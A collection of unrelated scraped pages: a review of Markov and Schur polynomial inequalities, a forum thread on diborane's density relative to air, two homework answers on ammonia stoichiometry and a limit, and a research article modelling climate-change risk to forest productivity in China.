The equivalence of the inequalities of Markov $\|P'\|_{L^q(E)}\leq C_1(\text{deg} P)^{m_1}\|P\|_{L^q(E)}$ and Schur $\|P\|_{L^q(E)}\leq C_2(\text{deg} P)^{m_2}\|(x-x_0)P(x)\|_{L^q(E)}$ ($$x\in{\mathbb C}$$; $$C_1, C_2, m_1, m_2$$ positive constants depending on the compact subset $$E\subset {\mathbb C}$$ and $$q\in [1,\infty]$$) is well known by now.
In this short note the author adds two inequalities that are equivalent to Markov and Schur (where either all polynomials $$P, R$$ and constants $$a, b, c$$ are real or all are complex): 1. For any triple $$a, b, c$$: $\|(ax^2+bx+c)P'(x)\|_{L^q(E)}\leq C_3(\text{deg} P)^{m_3}\|(ax^2+bx+c)P\|_{L^q(E)}$ 2. For any polynomial $$R$$: $\|RP'\|_{L^q(E)}\leq C_4(\text{deg} P+\text{deg} R)^{m_4}\|P\|_{L^q(E)} .$
### MSC:
41A17 Inequalities in approximation (Bernstein, Jackson, Nikol’skiĭ-type inequalities)
### Keywords:
Markov inequality; Schur inequality
Full Text:
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2022-12-02 17:32:18
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https://www.physicsforums.com/threads/is-diborane-lighter-or-heavier-than-air.918422/
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# Is diborane lighter or heavier than air?
Tags:
1. Jun 23, 2017
### xpell
Hi,
I have been reading about diborane (B2H6, a gas at standard conditions) and while the sources provide different density values (!), as in 1.2475 g/L at standard conditions, or 1.18 g/L at 15ºC and 1.216 g/L at 25ºC (sounds crazy?), all of them are lower than dry or moist air at the same temperatures if my info is correct. Actually, almost every source says that diborane's vapor density ranges from 0.96 to 1, air being 1 (BTW, any source for good data about diborane? Every source seems to say a different thing! But in any case, all of them seem to agree that its density is lower or equal to air density.)
In despite of this, I have found not a few serious sources (NOAA, NIH, etc) stating that diborane vapors are heavier than air and precautions must be taken to prevent its accumulation in low-lying areas. How is this possible? Actually, if you search in Google for "diborane" "lighter than air" and "diborane" "heavier than air", you will find plenty of sites saying both things! Can anyone please clarify, if you're so kind...? And if you have solid data about diborane's density (and other properties) without those wild variations, I would appreciate it a lot! :)
Last edited: Jun 23, 2017
2. Jun 23, 2017
The density of diborane is nearly the same as nitrogen $N_2$ and not much lighter than $O_2$. Thereby even though it may be a trifle lighter than air, it will not rise into the upper atmosphere like helium would. The Wikipedia mentions diborane as being able to ignite and explode spontaneously in moist air, so that if you have a source that is producing it, it would be necessary to take means to prevent it from accumulating. Perhaps @Borek could comment further on this.
3. Jun 23, 2017
### xpell
Thank you very much, Charles, I'd just need to learn if it would "hug the ground" or even tend to accumulate in low-lying places as some sources say; or if it would rise even if slightly (or tend to stay above ground if already there) as it would be logical given that it seems to have a slightly lower density than air...
...and get some solid info about diborane's density at different temperatures, since the sources I've been able to find vary wildly! :)
4. Jun 23, 2017
To compute the density, the equation $PV=nRT$ works quite well. The density in grams $\delta_m=(M.W.)( \frac{n}{V})=(M.W.) (\frac{P}{RT})$ where $P$ is the partial pressure. If you think of it as being at 1 atmosphere in a container that had no weight to it, you could determine its buoyancy compared to air. $N_2$ has M.W.=28, so that it has density $\delta_m=28 (\frac{P}{RT})$, (use $P=1$ atm), and $O_2$ has M.W.=32, so it has density $\delta_m= 32( \frac{P}{RT})$, so that air (78% $N_2$ and 21% $O_2$) will have density somewhere in between these two numbers. Diborane has M.W.=27.6 if I computed it correctly, thereby there will be little or no buoyant effect. You can see by the same formula why helium (A.W.=4) will rise upwards and will not remain near the surface. $\\$ Note: The above densities are in grams per liter using $R=.08206$ ( liter atm)/(mole degK). $T$ is the temperature in degrees Kelvin $=T_{centigrade}+273$.
Last edited: Jun 23, 2017
5. Jun 23, 2017
### xpell
Thank you again and I appreciate it a lot, Charles, but... I didn't understand this, so sorry! I'm just your average guy with a huge interest in science but I wasn't fortunate enough to get a good education. So to start with, I don't even get why helium will rise (or even what A.W. means) but another less-lighter than air gas won't. Please consider me like kinda of a middle-school pupil, even if I'm 47!
6. Jun 23, 2017
### Staff: Mentor
When you have questions like this, pubchem is the gold standard for information. It always tells you where it got the values.
Do not foget to factor in temperature and elevation
The density of air at 15 deg C:
So diborane is lighter than air slightly --
It is also toxic at levels of 2.5ppm in air. ...per Pubchem
7. Jun 23, 2017
That's ok. :) It's using something called the universal gas law equation $PV=nRT$, and M.W. is a molecular weight. A.W. is the atomic weight of helium. Nitrogen and oxygen which make up air are each molecules consisting of two atoms. That's why the use the symbol $N_2$ for nitrogen and $O_2$ for oxygen. You might also be familiar with the water molecule, which is two hydrogen atoms and one oxygen atom so they call it $H_2 O$.
8. Jun 23, 2017
### xpell
Yes, yes, I know, this, but once we start with the equations...
9. Jun 23, 2017
Basically the equations tell you why a helium balloon will float upwards while a balloon filled with ordinary air does not rise. A balloon filled with diborane would behave very similar to a balloon filled with air. It would be very hard to tell the two apart.
10. Jun 23, 2017
### xpell
I (think) I understand that one, the density of air is equal to the density of air so it doesn't have any reason to rise, but... why a slightly lighter gas would not...? "Common sense" (yeah, yeah, I know...) would suggest the opposite!
11. Jun 23, 2017
### xpell
Yeah, I got interested in diborane because I was reading about pyrophoric materials and I found it to be the only one which is lighter than air... and I basically wondered if it would rise in flames! (Instead of staying close to the ground and killing someone or something...)
12. Jun 23, 2017
The difference isn't enough to make it rise. Nitrogen and oxygen are close enough to the same density when at the same pressure that they mix quite readily. The air pressure is slightly lower at altitudes, but I think the oxygen content is still present there even though oxygen is slightly heavier than nitrogen and might show a slight tendency to stay closer to the ground.
13. Jun 23, 2017
### xpell
OK, I get that. I still don't understand why, but I get it! :)
So, if it was (let's say) "propelled into the air", it would stay up there and would not rise or fall, wouldn't it...? (Until it starts burning, at least!)
14. Jun 23, 2017
It would tend to mix freely with air. In general it would propagate everywhere so that if it was in an enclosed room you would find it in equal amounts near the floor vs. up near the ceiling. If you propelled it upwards into higher altitudes, it wouldn't fall back down=it would tend to spread out simply because that's what gases will do.
15. Jun 23, 2017
### xpell
Thank you very much for your (big) patience, Charles, now I'm getting the idea. So I could consider it like sort of a "neutral buoyancy" gas, couldn't I...?
[But I still don't understand why a gas which is lighter than air (even if slightly) will not rise (even if slowly!)]
16. Jun 23, 2017
If it were to rise up, (there is a slight tendency to do this), there is a stronger tendency in the atoms or molecules of the gas to fill the void that was left behind. These gases have a tendency to mix because the individual atoms and molecules are moving very quickly all over the place. Unless the buoyancy is tremendous, like it is for helium, the mixing tendency will be the dominant factor.
17. Jun 23, 2017
### Staff: Mentor
You can understand density using the concept of floating.
Density is the weight (mass is the correct term) of a fixed volume of something. A child's toy block made of wood, it floats on water. A block the same size made of iron sinks. If you could magically make a block of water it would neither sink nor float - it would be neutrally buoyant.
Wood is less dense than water. Iron is denser than water. Obviously water is the same density as water.
You express density as mass/volume. Let's use grams/milliliters for our unit, weight==grams, milliliter == volume, 1000th of a liter ( a cm3 ) is the same volume as a milliliter - you could use either one.
Density of iron=7.87g/ml
Density of water=1.00g/ml
Density of white pine (kind of wood) = 0.40 (average because wood varies). Other species like oak are more dense, balsa wood is one of the least dense woods.
All species of wood with densities less than one float. And yes there are some few wood species that are denser than water and do not float, examples:
http://blog.mischel.com/2012/10/21/woods-that-sink/
18. Jun 24, 2017
### Staff: Mentor
As Jim wrote - wood that is less dense than water goes up in water, iron that is more dense goes down. That's quite easy to follow as it is in an agreement with our experience. Gases are not different - the one that is less dense than the air will go up, the one that is more dense will go down. Same principle, we just rarely deal with gases, so we don't "feel" them as we do with water, planks and nails.
However, there is an additional problem with gases. Note, that a piece of wood or a piece of iron are well separated from water, they don't mix. Gases mix easily. Comparing their densities can be easily used to predict how would the balloon filled with gas behave - but not necessarily "just the gas". Sure, you can have an invisible pocket of gas raising or going down, but you won't be able to easily spot it, plus it will rather soon mix with the air and disappear. Puddles of heavy gases can exist as they are in contact with the air on one side only and there is no convection that would mix them with the air.
Once the gases are mixed lighter molecules don't go up (or rather: even if they go, air is mixed fast enough by the wind and thermal motion of the molecules so that the separation is negligible).
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2018-02-21 03:52:06
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https://socratic.org/questions/grams-of-n-2-reacts-with-84-29-grams-of-h-2-in-the-chemical-equation-n-2-h-2-nh-
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# Grams of N_2 reacts with 84.29 grams of H_2 in the chemical equation: N_2 + H_2-> NH_3 How do you balance the chemical equation and determine the limiting reactant? How much NH_3 is produced?
Jan 6, 2016
$\frac{1}{2} {N}_{2} \left(g\right) + \frac{3}{2} {H}_{2} \left(g\right) \rightarrow N {H}_{3} \left(g\right)$
If you have 84.29 g dihydrogen, there are $\frac{84.29 \cdot \cancel{g}}{2.02 \cdot \cancel{g} \cdot m o {l}^{-} 1}$ $=$ $41.7$ $m o l$ ${H}_{2}$. Stoichiometry requires 27.8 mol dinitrogen ($=$ ?? g). I think you have omitted some of the starting conditions in the problem
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2019-12-05 20:12:39
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https://socratic.org/questions/what-is-the-limit-of-sin-4x-x-1-2-as-x-approaches-infinity
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# What is the limit of (sin^4x)/(x^(1/2)) as x approaches infinity?
${\lim}_{x \rightarrow \infty} \frac{{\sin}^{4} x}{{x}^{\frac{1}{2}}} = 0$
$\sin x$ is limited to the range $\left[- 1 , + 1\right]$
$\rightarrow {\sin}^{4} x$ is limited to the range $\left[0 , 1\right]$
$\rightarrow {\sin}^{4} x$ has an upper limit of $1$ while $x \rightarrow \infty$
${x}^{\frac{1}{2}} \rightarrow \infty$ as $x \rightarrow \infty$
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2022-08-19 11:22:54
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https://www.nature.com/articles/s41598-017-18798-6?error=cookies_not_supported
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## Introduction
Climate change has been suggested as a major driver of the dynamics of terrestrial ecosystems through its influence on vegetation growth and distribution1,2,3,4. Ecosystems may be at risk if their resilience and ability to adapt are severely damaged. An increase in global warming will result in greater risks for ecosystems over the 21st century5,6. For example, if the temperature increases by more than 3 °C, 44% of global terrestrial ecosystems risk conversion from carbon sinks to carbon sources5. Forest, the most complicated of all terrestrial ecosystems7, plays an important role in the carbon cycle and accounts for 49% of terrestrial gross primary production8. The annual gross carbon uptake by global forests equates to roughly half of the carbon emitted from fossil fuels9. Research into the spatial and temporal patterns of the climate change risk faced by forests is crucial to determine priority areas that should be targeted for action to manage the consequences of climate change.
Because of higher temperatures and incidental droughts, tree mortality and related dieback may increase, posing threats to carbon storage, biodiversity, and production in forests10,11,12. Net primary productivity (NPP) refers to the net amount of carbon fixed by plants through photosynthesis per unit time and area, namely the difference between gross primary productivity and autotrophic respiration13,14. Because the loss of NPP is considered to be unfavorable for terrestrial carbon sinks and ecosystem functioning, it has been used to indicate the risks of climate change for ecosystems6,15,16. In general, NPP is an indicator of plant growth and reflects the capacity of vegetation to sequester and convert the products of photosynthesis17,18,19. Changes in the NPP of terrestrial ecosystems could effectively reflect the substantial spatial and temporal heterogeneity in climatic, ecological, geochemical, and human influences on the biosphere1,20,21,22.
The impacts of climate change on forest NPP are complex. Warming and prolongation of the growing season may enhance forest NPP in high latitude and alpine areas23,24,25. In contrast, other factors such as drought, heat waves, wildfire, and insect disturbances may cause extensive reductions in NPP in some forests26,27,28,29,30,31. Of these factors, drought or dryness have often resulted from increases in the atmospheric evaporative demand (AED) and soil water deficit, and from decreases in precipitation. However, there is uncertainty about whether the current trends of regional aridity will intensify or weaken, which partly reflect AED estimation methods32,33,34,35,36,37. Generally, there is risk if the reduction in NPP caused by the overall effects of climate change indicates possible damage or corruption, such as poor vegetation coverage, the expansion of desertification38 and the decline of ecosystem services ability39, other than the lack of vegetation productivity and biomass. For example, based on version 2 of the Atmosphere Vegetation Interaction Model and the IPCC SRES B2 scenario, Shi et al.40 recently assessed the risks to ecosystems mainly including forest, shrubland, grassland and cultivated land in China from climate change when (1) the adverse variance was beyond the typical natural variability of NPP, and (2) there was the possibility that, in the future, the NPP would fall below the minimum NPP during the baseline period. However, we have little information regarding how the risks might respond to climate change, though it is important when assessing future impacts in forests in China. More importantly, there have been few quantitative assessments of the rates at which risk might change as regional mean temperatures increase.
The primary objectives of this study were therefore to (1) quantify the spatio-temporal patterns of different levels of risks indicated by the loss of forest NPP under future climate change in China, (2) investigate how the rate of regional climate change risks would vary in response to warming in the future, and (3) address the relative contributions of climatic factors to the risks. To achieve these objectives, we modeled NPP by modifying the AED sub-model in the Lund–Potsdam–Jena Dynamic Global Vegetation Model (LPJ-DGVM), which was driven by a set of general circulation models (GCMs) with representative concentration pathways (RCPs) that covered the period 1981–2100. Our research highlighted the different levels of risks to forests from climate change, and it should give us an improved understanding of how forest ecosystems will respond to future climate change.
## Materials and Methods
### Study area
Forests in China cover about 21.63% (2009–2013) of the land surface and have a carbon stock of approximately 84.27 billion tons. They account for a significant component of terrestrial ecosystems in China and represent the largest afforested area in the world41. Hou42 reported that needleleaf forest, the most widespread forest vegetation type, extended from the cold temperate zone to the tropical zone, and was mainly concentrated in southwestern and northeastern China. This forest type is dominated by Pinaceae, Taxodiaceae, and Cupressaceae. Mixed needleleaf and broadleaf forest is mainly found in northeastern China (e.g. Pinus koraiensis) and mountainous areas of southern China (e.g. Tsuga spp. and Chamaecyparis). Broadleaf forest is mainly concentrated in the eastern part of Northeast China, south of the Qinling Mountains, and in the southeastern part of the Tibetan Plateau.
We chose our study area from the distribution of forest types presented on the 1:1,000,000 vegetation map of China42 and the distribution of eco-geographical regions in China43, as shown in Fig. 1. We simulated NPP from 1981 to 2099 at a spatial resolution of 0.5° × 0.5° with the modified LPJ-DGVM.
### Risk assessment
Changes in ecosystem state are generally described by the anomaly of future projections from the historical long-term average, with the assumption that the standard deviation of the state variable represents the ecosystem natural interannual variability (IAV)5,16,44,45. NPP is defined as the rate of accumulation of carbon after losses from plant respiration and other metabolic processes that maintain the plant’s living systems are taken into account46. In this study, we considered that there was risk when the absolute value of future negative anomaly of NPP exceeded the IAV for the period from 1981 to 2010, based on the LPJ simulations. The risks were ranked to correspond with the multiple relationships between the decreases in the NPP and the baseline IAV. Using the simulated NPP, we judged the risk at each pixel and counted the area of forest at risk based on smoothed data, i.e. 30-year running mean NPP. Linear trends in the time series of risk were detected by the Ordinary Least Squares (OLS) method; the statistical significance of the trends was determined by the non-parametric Mann-Kendall test.
Specifically, we calculated the anomalies of the forest NPP in China for future periods (from 2021 to 2050 and from 2071 to 2099) from the baseline period (from 1981 to 2010). Positive anomalies indicated no risk. Negative anomalies were compared with their baseline standard deviation to indicate different levels of risk for each pixel. In line with the criteria and indicators applied by Scholze et al.5 and Heyder et al.16, the risks were deemed low, medium, and high level when the absolute values of the negative NPP anomaly were less than half of the standard deviation (α < 0.5), greater than half but less than one standard deviation (0.5 < α < 1), or greater than one standard deviation (α > 1), respectively. In this study, we paid more attention to abnormal variabilities in the NPP that were less than the average minus a number of standard deviations, as a certain loss of productivity outside the typical natural NPP variability was perceived to be an unacceptable impact from climate change47. From this, we then classified the risk levels from the multiple relationships between the anomalies and standard deviation.
The standard deviation was computed as follows:
$$\delta =\sqrt{\frac{\sum _{i=1}^{n}{({x}_{i}-\bar{x})}^{2}}{n-1}}$$
(1)
where δ was the standard deviation at the pixel scale, $${x}_{i}$$ was the annual NPP of year i, $$\bar{x}$$ was the average NPP of the baseline period, and n was the total number of baseline years (n = 30).
The multiple α was determined by the following equation:
$$\alpha =\frac{|{x}_{i}-\overline{x|}}{\delta }$$
(2)
The risk levels of forest productivity were classified from the above multiples.
### LPJ Model
Forest NPP in China was projected with the process-based LPJ model48. In the LPJ model, NPP is calculated by subtracting maintenance and growth respiration from GPP, which is computed by coupling the photosynthesis and water balance schemes. The formula is as follows:
$${\rm{NPP}}=0.75({\rm{GPP}}-{R}_{m})$$
(3)
where Rm is the maintenance respiration and 0.75 is the ratio of NPP in the remainder, considering 0.25 is the growth respiration coefficient.
Proven as a useful tool for simulating the structure and function of large-scale ecosystems, the LPJ is driven by data of monthly climate and soil texture. The model comprises 10 plant functional types (PFTs), defined by bioclimatic limits and physiological optima, which compete for resources and determine vegetation composition. We used the method outlined by Zhao et al.49 to adjust a few of the PFT parameters, mainly including the maximum coldest monthly mean temperatures of boreal needle-leaved evergreen forest, boreal needle-leaved summergreen forest and boreal broad-leaved summergreen forest, to fit the characteristics of ecosystems in China.
The original method for calculating AED adds substantially to the uncertainty that is already associated with the climate change signal between GCMs50. McVicar et al.51 advocated that all four primary meteorological variables, i.e., wind speed, atmospheric humidity, radiation, and air temperature, should be considered when assessing trends in AED. However, temperature-based methods, such as the Thornthwaite empirical equation, tend to underestimate AED52,53. The Penman–Monteith model recommended by the Food and Agricultural Organization (FAO56-PM model) reference crop evapotranspiration method gave good estimations of spatial and seasonal variability in AED across Great Britain54. We therefore modified the original method for calculating AED in the evapotranspiration sub-model of the LPJ55 and used the physically-based FAO56-PM model56, which had been previously calibrated for the study area57. The original fire module in the LPJ assumed only a minimum fuel load for fire spread58. The model has been modified to include a maximum fuel load based on the linear relationship between the fuel load and the fire occurrence probability59, so that the influence of fuel availability on fire occurrence is better reflected. Li et al.60 obtained good results when they applied a similar approach to the fire module of CLM-DGVM (Community Land Model with the Dynamic Global Vegetation Model). We expressed the probability of fire based on the available fuel as:
$$P=max[0,min(1,\frac{{L}_{{\rm{ag}}}-{L}_{{\rm{low}}}}{{L}_{{\rm{up}}}-{L}_{{\rm{low}}}})]$$
(4)
where L ag (g C m−2) is the fuel load (namely, the above-ground litter), and L low (L low = 200) and L up (L up = 1000) are the lower and upper fuel thresholds, respectively. Fire does not occur when L ag < L low, and becomes more likely to occur as the fuel increases when L low ≤ L ag ≤ L up. The fuel load no longer limits the fire spread when L ag > L low when the other conditions are satisfied.
To ensure carbon pools and vegetation coverage were in a state of equilibrium, we ran the LPJ model for an initial period of 1000 years48 using the climate data for the reference period from 1981 to 2010 repeatedly. We then ran the simulation from 2011 to 2099 using climate change scenario data and the atmospheric CO2 concentration for 2010.
### Climate Projections
Projections of climate change under various scenarios are useful for predicting future changes to ecosystems and their response to global change. We used scenario analysis to assess risk development and the impacts of climate change. Because of the uncertainty associated with GCMs, we simulated forest NPP with multiple GCM projections and used the mean from multiple models to characterize the risk under different emission scenarios. We used five GCMs in this study from the Coupled Model Intercomparison Project Phase 5, including HadGEM2-ES, IPSL-CM5A-LR, GFDL-ESM2M, MIROC-ESMCHEM, and NorESM1-M61. The GCM outputs were bias-corrected by the Inter-Sectoral Impact Model Intercomparison Project (ISI-MIP) and downscaled to a spatial resolution of 0.5° 62,63. The climate variables were the average, maximum and minimum temperatures, precipitation, surface downwelling shortwave radiation, near-surface wind speed, and relative humidity.
We used four representative concentration pathways, namely RCP2.6, RCP 4.5, RCP 6.0, and RCP8.5 scenarios, which indicated that radiative forcing levels of 2.6, 4.5, 6.0, and 8.5 Wm−2 would be reached by 2100, respectively64. RCP8.5 was the highest emission scenario with a radiative forcing of around 8.5 Wm−2 in 2100, which was equivalent to an atmospheric CO2 concentration of about 1370 ppm64. By the end of the 21st century, the temperatures in forest areas of China were projected to increase by between 1.68 °C under RCP2.6 and 6.29 °C under RCP8.5 relative to the average temperature in the baseline period of 1981–2010 (Fig. 2).
## Results
### LPJ Model Evaluation
The total NPP in China was estimated at 3.61 ± 0.13 Gt C a−1 during the baseline period of 1981–2010, which is consistent with the studies of Mao et al.65, Yuan et al.66, and Pan et al.67. The total NPP of forests in China for the past three decades was estimated at 1.40 ± 0.04 Gt C a−1, which is close to the results of Zhuang et al.68 and Ren et al.69. The 30-year averaged NPP varied spatially and gradually decreased from the southeast to the northwest (Fig. 3a); the vegetation type also varied and transitioned from woodland to grassland. Figure 3b showed the distribution of baseline standard deviation in NPP, which was basically opposite to the pattern of its multi-year mean value and was relatively higher in North China and Hainan Island. The simulated values essentially agreed with the field measurements of NPP for more than 700 sites spread across the different eco-geographical regions in China, published in the Global Primary Production Data Initiative Products database70 (Fig. 4). At each field site, a relative error could be estimated from the difference between simulated value and observed value, which was then divided by the observed value and expressed as a percentage. The average relative error over the whole country was 9.94%, which was acceptable and shows that the modified LPJ model gave satisfactory simulations of terrestrial NPP in China, and could be used to predict carbon cycling in ecosystems.
### Temporal change in risk in the future
Changes in the areas of climate change risk faced by forest systems in China under the four RCPs are shown in Fig. 5. There was a general decrease in the forest area at risk in China in the future, especially under the relatively low emission scenarios. Under RCP2.6, RCP4.5 and RCP6.0, the risk area was predicted to decrease noticeably in the first half of the 21st century and then fluctuate gently in the second half. For the highest emission scenario RCP8.5, the risk area was first predicted to decrease and then to increase from around the 2050s, which was mainly determined by the change in the high-level risk area. The total areas at risk between 2011 and 2099 were predicted to average 15.58%, 23.64%, 33.22% and 36.07% under RCP2.6, RCP4.5, RCP6.0, and RCP8.5, respectively. For the different risk levels, the forest area at medium risk was less than that the area at low risk and did not exceed 10% over most periods, while the area at high risk exhibited significant increasing trends except RCP2.6. Toward the end of the 21st century, the high-risk area was projected to increase at trends of 0.7% (p < 0.01), 1.7% (p < 0.01) and 3.2% (p < 0.01) per decade under RCP4.5, RCP6.0 and RCP8.5, respectively.
### Spatial change of risk in the future
To reflect the change in spatial patterns of future risk, two typical periods of 2021–2050 and 2071–2099 were selected in this study, representing mid and long terms. Results from the other periods could be found in Supplementary Figure S1-S4. The risk of climate change to the forest NPP in China is predicted to be aggravated for all scenarios from 2021 to 2050 (Fig. 6). The risk area is predicted to be mainly concentrated in the tropical humid and southern subtropical humid regions under the two relatively low emission scenarios (RCP2.6 and RCP4.5). For the higher emission scenarios (RCP6.0 and RCP8.5), this area is likely to extend northward to the mid-subtropical humid region and the northern subtropical humid region. The total risk areas for the four RCPs covered 21.14%, 31.82%, 42.61%, and 40.24% of the whole forest area (Table 1). Moreover, the low risk area was predicted to account for the largest part of the total risk area, while the high-risk area was predicted to account for the smallest portion. The forest area at low risk was highest under RCP6.0 and was distributed continuously through the areas south of the middle and lower reaches of the Yangtze River. Under RCP8.5, the risks to the forest in the southeast and southwest areas were mainly medium and high. The areas predicted to have medium and high risk under RCP6.0 were predicted to increase significantly from 11.76% and 1.19% to 14.35% and 5.39%, respectively, under RCP8.5.
The model predicted that the forest NPP risk pattern in China would be noticeably different for the period 2071–2099 (Fig. 7) than for 2021–2050, with the total risk areas accounting for 8.95%, 16.94%, 28.48%, and 46.17% under RCP2.6, RCP4.5, RCP6.0, and RCP8.5, respectively (Table 2). Decreases in the low and medium risk areas mainly explain the sharp decline in the total risk area predicted for the first three RCPs between the periods 2071–2099 and 2021–2050. Some of the low and medium risk areas were predicted to translate into high risk, though this mainly affected areas in southern China. Furthermore, the high-risk area accounted for the largest percentage of the total risk area under RCP6.0 and RCP8.5, while the medium risk area accounted for the smallest portion. The area of forest at risk under RCP8.5 was predicted to be greater during 2071–2099 than 2021–2050 under RCP8.5, mainly because of a significant increase in the high-risk area. This high-risk area was predicted to extend from southern and central China to northeastern China, accounting for 27.62% of the total forest area.
### Rate of change in risk in response to warming
Figure 8a shows changes in the percentage of the area at risk in response to variations in the temperature anomalies predicted by the different GCMs under RCP8.5, processed by quadratic curve fitting. The corresponding rates of change, namely the first derivative of the functions shown in Fig. 8a, are shown in Fig. 8b. When the temperature increased by between 0.80 ± 0.21 °C and 5.76 ± 1.40 °C relative to the baseline (9.76 ± 0.08 °C), the risk area was predicted to first decrease and then increase so that it covered half of the total forest area. The rate of change in the risk area percentage was predicted to first slow down and then accelerate, with the most obvious change predicted by the GFDL-ESM2M. The multi-model mean values show that the NPP risk area made up approximately 38% of the whole forest area in China when the temperature increased by about 3 °C under RCP8.5; for a temperature increase of about 6 °C, the NPP risk area was predicted to extend to almost 55% of the forest area, with a rate of change of 13% °C−1.
### Rate of change in risk in response to precipitation change
We further analyzed the rate of change in risk in response to precipitation change. Results showed that the percentage of risk area was projected to decrease in the future, as the precipitation anomaly ranged from −2.11 ± 2.46% to 10.13 ± 8.21% relative to the baseline period (Fig. 9a). For every additional percentage point increase in precipitation, the area at risk tended to decrease by 1.67% of the total forest area (Fig. 9b). In terms of the difference among GCMs, IPSL-CM5A-LR showed a small range of precipitation change and a quick drop of NPP risk area; the area at risk was projected to turn from decreasing to increasing, when the precipitation increased by about 13% in the case of HadGEM2-ES.
### Driving factors
We attributed the IAV of NPP to different climatic factors by calculating the partial correlation coefficients between NPP and precipitation (PRE), temperature (TEM), and aridity index (AED/PRE) for the period 2071–2099 under RCP8.5 (Fig. 10). There were significant positive correlations between temperature and forest NPP, mainly in northeastern China and in the eastern part of the Tibetan Plateau, which occupied 9.60% of the total forest area. Significant negative correlations between precipitation and forest NPP accounted for a larger proportion (15.53%) and were mainly limited to southern China. Substantial temperature rise was projected to occur in Northeast China, whereas the relatively slight increase of precipitation seemed to be distributed in Southeast China. The aridity index tended to increase obviously for these areas, implying potential droughts in the long term under high emission scenario. The aridity index and NPP were significantly and negatively correlated for nearly half of the forests (49.84%), ranging from northeastern China to southern China, indicating that increased dryness would limit forest growth in these regions. Therefore, of the three variables, the projected aridity index seemed to have a greater impact on the forest NPP, both in its degree and extent, which means that risks of a decrease in the forest NPP were mainly because of dryness.
## Discussion
The pattern predicted in this study is spatially consistent with other recent findings. For example, Gang et al.71 suggested that the terrestrial NPP would increase in the northern mid and high latitudes where warming would favor tree growth and expansion by the end of the 21st century, especially for temperate and boreal forests. Using the RCP4.5 scenario in the Integrated Biosphere Simulator, Yuan et al.72 found that the NPP of deciduous broad-leaved forest in the warm temperate zone in China would increase, while that of subtropical evergreen broad-leaved forests in southern China would decrease, and would be vulnerable from 2016 to 2050.
We found that the total area of forest in China at risk from climate change would first decrease and then increase as the warming accelerated under RCP8.5. The future projections of forest risk to climate change indicate that climate warming may be beneficial to vegetation growth to a minor extent, but when the climate change exceeds a certain threshold, the impacts could be negative. While increases in temperature could enhance plant photosynthesis, they could also cause a water vapor pressure deficit. The leaf stomata would then close to prevent water loss and increase water use efficiency73. Several previous studies have reported that, without considering the CO2 fertilization effect, rapid temperature increases and increased frequency of drought events could cause a decrease in the NPP in tropical and subtropical forests, and even in the global terrestrial NPP, under relatively high emission scenarios71,74. Because of warming and changes in rainfall patterns, the decrease in the available soil water has slowed down the increase in the forest NPP in southern China over the past three decades75. From their analysis of 32 years of data from forest observation plots, Zhou et al.76 suggested that subtropical forests in China were threatened by their lack of resilience to long-term climate change manifested by rising temperatures and increased occurrence of soil drying. Also, studies of the impact of climate change on aridity during the 21st century have predicted increased aridity over most tropical and mid-latitude land regions37, and, in particular, over most of Africa, the Americas, Australia, Southeast Asia, and the Mediterranean region77,78. This indicates that more intense droughts would limit future forest growth in low latitude regions. Climate change alone may lead to less overall tree coverage in the Tropics, while the competing effects of CO2 fertilization and climate change, along with the uncertainty of projected precipitation changes in the Tropics, mean that there is a large degree of uncertainty associated with projected future changes in vegetation79.
Moreover, shifts in forest disturbances such as wind, pests, and fire may adversely affect forest productivity under future climate change. The productivity of and carbon storage in Europe’s forests is likely to decrease as climate change and forest disturbances intensify31,80, though both increasing and decreasing trends have been found in the growth and productivity across Europe81,82,83. For example, the growth of European beech was observed to have declined because of droughts over the past 20th century80, and its NPP and water-use efficiency was predicted to reduce under future climate conditions (A1B scenario) due to aggravated water shortage and droughts84. As the risks from forest fire are predicted to become increasingly serious in China, mainly because of an increase in fire weather in central and southeastern China85, measures should be implemented to reduce the negative impacts of fire disturbance on forest productivity. The sensitivity of NPP to climate change is also the key to understanding how risk develops and evolves. Piao et al.21 found that the inter-annual correlation between terrestrial productivity and temperature decreased in temperate regions because of an increase in drought over the past decade, while Heyder et al.16 reported that strong warming could amplify the sensitivity to declining precipitation in temperate and tropical ecosystems.
There are uncertainties in risk forecasts in vegetation productivity from several sources, including emission scenarios, climate models, and ecological models. For instance, due to the large discrepancy in future projections of precipitation from global to regional scale86,87, the difference in precipitation patterns and extreme events across CMIP5 models could be a vital source of uncertainty for terrestrial carbon flux and its impact from climate change88. As for China, the cross-model variability of future NPP was reported to be significantly contributed by the simulated precipitation on the local scale, especially in northwestern area89. From their assessment, Sitch et al.90 found that the responses of five DGVMs to climate change varied more widely than their responses to changes in CO2 concentrations. Nishina et al.91 considered that, if the uncertainty in the ISI-MIP results were to be reduced, the simulation capacity of vegetation models would need to improve. When estimating forest biomass and productivity, accurate descriptions and determinations of allometry and allometric scaling parameters, respectively, are important92. We did not consider the direct effect of CO2 fertilization in our study even though it is an important influence on changes in vegetation NPP. The observed increase in photosynthetic water-use efficiency in temperate and boreal forests of the Northern Hemisphere over the past two decades has been closely associated with elevated atmospheric CO2 concentrations93. Water stress or decreased carbon gains from autotrophic respiration may result in decreased vegetation productivity and loss of forest cover when there are shortages of CO2 94. There was a considerable difference between the simulated and observed data in the forest NPP in the tropical humid region for the baseline period, which probably reflects the fact that there were only seven site records from this area, thereby causing high uncertainty. To measure this kind of uncertainty, the time series of observed NPP from 1981 to 2010 are needed to compute the standard deviation and to further calculate the risk. Nevertheless, due to the lack of time series data in the observed NPP across China70,95,96,97, we are unable to quantify the uncertainty resulting from the difference between simulations and observations. Further, different ways of assessing risk may also create uncertainties. For example, baseline values may differ depending on whether they are derived from the global average or regional average, and variable values may exceed natural variability when they are beyond the mean plus or minus several standard deviations5,16,47. All these factors can produce different risk assessment results. van Oijen98,99 defined risk as the product of probability and vulnerability, and used the difference in NPP between hazardous condition and normal climate to indicate ecosystem vulnerability. Although the method is explicit in mathematics and easy to operate, it seems more suitable to the risk induced by single hazard factor and the distinction between hazardous and non-hazardous conditions mainly depended on the subjective experience. In addition to the impact of climate change, human activities like forest management measures may also drive changes in ecosystem100. It deserves more research on how to isolate the climate change risk from its complicated interactions with human factors.
## Conclusion
In this study, we modified the AED and fire modules of the LPJ model and investigated spatial and temporal features of climate change risk faced by forest in China in the 21th century under different RCPs. The risk rating predicted in this study from the relationships between decreases in NPP and baseline variability (indicated by the standard deviation) highlighted the adverse impact of future climate change on vegetation productivity. The area of forest NPP at risk in China showed a general tendency to decrease from 2011 to 2099 relative to the baseline period of 1981–2010, under RCP2.6, RCP4.5 and RCP6.0. High-level risk area would increase especially in RCP4.5 (0.7% per decade, p < 0.01) and RCP6.0 (1.7% per decade, p < 0.01).
